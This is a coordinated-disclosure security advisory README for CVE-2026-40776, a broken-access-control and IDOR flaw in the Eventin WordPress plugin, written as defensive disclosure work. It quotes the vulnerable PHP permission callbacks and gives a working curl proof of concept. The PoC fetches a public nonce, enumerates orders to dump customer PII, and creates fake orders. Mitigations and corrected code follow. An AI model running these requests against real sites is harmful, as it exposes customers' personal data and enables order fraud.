README.md
Rendering markdown...
# Security Advisory — CVE-2026-40776
**Eventin (`wp-event-solution`) — Broken Access Control + IDOR via public `wp_rest` nonce endpoint.**
## Identifiers
| Field | Value |
|---|---|
| CVE | CVE-2026-40776 |
| Patchstack PSID | `85de025d71e7` |
| CWE | [CWE-862 — Missing Authorization](https://cwe.mitre.org/data/definitions/862.html) |
| CVSS v3.1 | **7.5 (HIGH)** — per the Patchstack advisory |
## Affected product
| Field | Value |
|---|---|
| Plugin | Eventin — Events Calendar, Event Booking, Ticket & Registration |
| Slug | `wp-event-solution` |
| Vendor | Themewinter |
| Ecosystem | WordPress (PHP) |
| Affected versions | `<= 4.1.8` |
| Patched version | `4.1.9` |
| Active installs | 10,000+ |
| Tested against | WordPress 6.7 + Eventin 4.1.7 (default configuration) |
## Summary
The Eventin plugin exposes a public REST API endpoint (`/wp-json/eventin/v1/nonce`) that returns a valid `wp_rest` nonce to any unauthenticated visitor. Multiple downstream REST controllers (`OrderController`, `PaymentController`) then use that nonce as the only authorization check, without verifying user roles or capabilities. Combined with a missing ownership check on order reads (IDOR) and a fully open seat-booking endpoint, this allows any unauthenticated attacker to:
- read every event order, including full customer PII (names, emails, phone numbers, payment methods, attendees roster),
- create arbitrary orders with attacker-controlled data,
- interact with the payment endpoints,
- exhaust seat-based events by reserving every available seat.
The root mistake is **conflating CSRF protection (a `wp_rest` nonce) with authentication**: WordPress nonces are bound to a session and an action, not to a user identity, and once a public endpoint hands them out they cease to provide any access control whatsoever.
## Technical details
### 1. Public nonce dispenser — root cause
`core/Admin/hooks.php`, lines 68–77:
```php
add_action( 'rest_api_init', function () {
register_rest_route( 'eventin/v1', '/nonce', [
'methods' => \WP_REST_Server::READABLE,
'permission_callback' => '__return_true',
'callback' => function () {
nocache_headers();
return rest_ensure_response( [ 'nonce' => wp_create_nonce( 'wp_rest' ) ] );
},
] );
} );
```
`permission_callback => '__return_true'` allows the route to be called by any unauthenticated visitor; the callback returns a freshly generated `wp_rest` nonce. The intent is plausible (frontend forms need a nonce) but the implementation publishes that nonce to the entire internet — and the rest of the plugin treats that nonce as identity.
### 2. Permission callbacks that misuse the nonce as authorization
**`core/Order/OrderController.php`, lines 146–148** — short-circuiting `||`:
```php
public function get_item_permissions_check( $request ) {
return current_user_can( 'etn_manage_event' )
|| wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
}
```
Because the nonce branch is on the right of an `||`, it is **always satisfiable** by any unauthenticated attacker carrying the publicly-fetched nonce. The capability check on the left becomes irrelevant.
**`core/Order/OrderController.php`, lines 476–478** — no capability check at all:
```php
public function create_item_permissions_check( $request ) {
return wp_verify_nonce( $request->get_header( 'X-Wp-Nonce' ), 'wp_rest' );
}
```
**`core/Order/PaymentController.php`, lines 66–70** — same pattern on payments:
```php
public function create_payment_permission_check($request) {
$nonce = $request->get_header('X-WP-Nonce');
return wp_verify_nonce($nonce, 'wp_rest');
}
```
### 3. IDOR on `get_item` — no ownership check
`core/Order/OrderController.php`, lines 310–317:
```php
public function get_item( $request ) {
$id = intval( $request['id'] );
$order = new OrderModel( $id );
$response = $this->prepare_item_for_response( $order, $request );
return rest_ensure_response( $response );
}
```
Order IDs are sequential WordPress post IDs (`wp_posts.ID`), so an attacker who can reach this endpoint at all can dump every order with `/orders/1`, `/orders/2`, … No check that the requesting user is associated with the requested order.
### 4. Fully open seat-booking endpoint
`core/Order/OrderController.php`, lines 129–137:
```php
register_rest_route( $this->namespace, $this->rest_base.'/book-seats', [
[
'methods' => WP_REST_Server::CREATABLE,
'callback' => [$this, 'book_seats'],
'permission_callback' => function( $request ) {
return true;
},
],
] );
```
No nonce, no capability check — just `return true`. Any unauthenticated attacker can reserve every available seat on a seat-based event, denying legitimate ticket buyers (denial-of-service against bookings).
### 5. Data exposed per order
`prepare_item_for_response` (lines 787–812) serializes, per order:
- `customer_fname`, `customer_lname` — full name
- `customer_email` — email address
- `customer_phone` — phone number
- `payment_method` — payment method used (e.g. `stripe`)
- `total_price` — amount paid
- `status` — order status (e.g. `completed`)
- `event_name`, `event_id`, `date_time`
- `attendees[]` — full attendee list with names, emails, phones, ticket IDs
## Proof of concept
End-to-end, four unauthenticated requests against a target running Eventin `<= 4.1.8`:
```bash
# 1. Get a wp_rest nonce as an unauthenticated visitor
NONCE=$(curl -s https://TARGET/wp-json/eventin/v1/nonce | jq -r .nonce)
# 2. Read any order by sequential ID — IDOR + auth bypass
curl -s -H "X-Wp-Nonce: $NONCE" https://TARGET/wp-json/eventin/v2/orders/21 | jq .
# 3. Confirm the nonce is the only auth layer: same request without the header → 401
curl -s https://TARGET/wp-json/eventin/v2/orders/21 | jq .
# 4. Create a fake order with attacker-controlled data
curl -s -X POST \
-H "X-Wp-Nonce: $NONCE" \
-H "Content-Type: application/json" \
-d '{"event_id":1,"customer_fname":"Attacker","customer_email":"[email protected]","tickets":[{"ticket_slug":"general","quantity":1}],"attendees":[{"name":"Attacker","email":"[email protected]","ticket_slug":"general"}]}' \
https://TARGET/wp-json/eventin/v2/orders | jq .
```
Step 3 is the diagnostic moment: it returns `{"code":"rest_forbidden","data":{"status":401}}`, confirming that the nonce alone — the one any visitor can fetch in step 1 — is what the controller is treating as authentication.
A reproducible bash script against a local WordPress lab is at [`poc/poc-eventin.sh`](poc/poc-eventin.sh). Visual evidence from the local lab:
- [`screenshots/poc1-idor-pii-leak.png`](screenshots/poc1-idor-pii-leak.png) — IDOR read of order #21 with full PII (synthetic data: "Mario Rossi").
- [`screenshots/poc2-no-nonce-blocked.png`](screenshots/poc2-no-nonce-blocked.png) — same request without the `X-Wp-Nonce` header → `401 rest_forbidden`.
- [`screenshots/poc3-fake-order-created.png`](screenshots/poc3-fake-order-created.png) — unauthenticated `POST` creating a fake order with attacker-controlled fields.
## Impact
An unauthenticated remote attacker can:
1. **Read all event orders with full PII.** Sequential ID enumeration combined with the publicly-obtained nonce dumps every customer's name, email, phone number, payment method, amount paid, and the entire attendees roster. Material personal-data breach for any site using Eventin for paid or registered events.
2. **Create fake orders and attendees.** Inject fraudulent orders into the system, pollute event management, generate fake attendee records.
3. **Interact with payment endpoints.** `PaymentController` uses the same nonce-only auth pattern; payment creation/completion is reachable unauthenticated.
4. **Deny service against seat-based events.** `/book-seats` accepts unauthenticated calls and can be used to reserve every available seat.
## Mitigation
- **For site operators:** update `wp-event-solution` to `4.1.9` or later. There is no in-version workaround for older releases short of disabling the plugin or blocking the affected REST routes at the web-server / WAF layer (`/wp-json/eventin/v1/nonce`, `/wp-json/eventin/v2/orders*`, `/wp-json/eventin/v2/payments`, `/wp-json/eventin/v2/orders/book-seats`).
- **For plugin authors:** if a nonce is required for frontend forms, embed it via `wp_localize_script()` in the page HTML that the user has already loaded — not as a public REST endpoint. Permission callbacks must verify identity and capability with `current_user_can( ... )` (or an ownership check on the resource being read), composed with `&&`, never with `||`. CSRF protection and authorization are orthogonal concerns; a nonce can answer the first, but never the second.
A correct shape for the three vulnerable callbacks looks like:
```php
// OrderController::get_item_permissions_check
public function get_item_permissions_check( $request ) {
return current_user_can( 'etn_manage_event' );
// Or: ownership check on the requested order ID for frontend reads.
}
// OrderController::create_item_permissions_check
public function create_item_permissions_check( $request ) {
return current_user_can( 'etn_manage_order' );
// Or: explicit, separately-rate-limited public booking flow if intentional.
}
// PaymentController::create_payment_permission_check
public function create_payment_permission_check( $request ) {
return current_user_can( 'etn_manage_order' );
}
```
## Disclosure timeline
| Date | Event |
|---|---|
| 2026-03-10 | Reported to Patchstack |
| 2026-04-07 | Vendor releases Eventin 4.1.9 (fix) |
| 2026-04-13 | Coordination milestone (Patchstack) |
| 2026-04-29 | Public disclosure (Patchstack advisory) |
| 2026-05-01 | Third-party trackers pick it up (WP-Firewall, Managed-WP, SolidWP) |
| 2026-05-04 | This advisory and accompanying repository published |
## References
- Full writeup (canonical): <https://lorenzofradeani.com/en/blog/cve-2026-40776>
- Patchstack advisory: <https://patchstack.com/database/wordpress/plugin/wp-event-solution/vulnerability/wordpress-eventin-plugin-4-1-8-broken-access-control-vulnerability>
- Plugin on wordpress.org: <https://wordpress.org/plugins/wp-event-solution/>
- CWE-862 — Missing Authorization: <https://cwe.mitre.org/data/definitions/862.html>
## Credits
Reported by **Lorenzo Fradeani** — independent security research. Coordinated through [Patchstack](https://patchstack.com).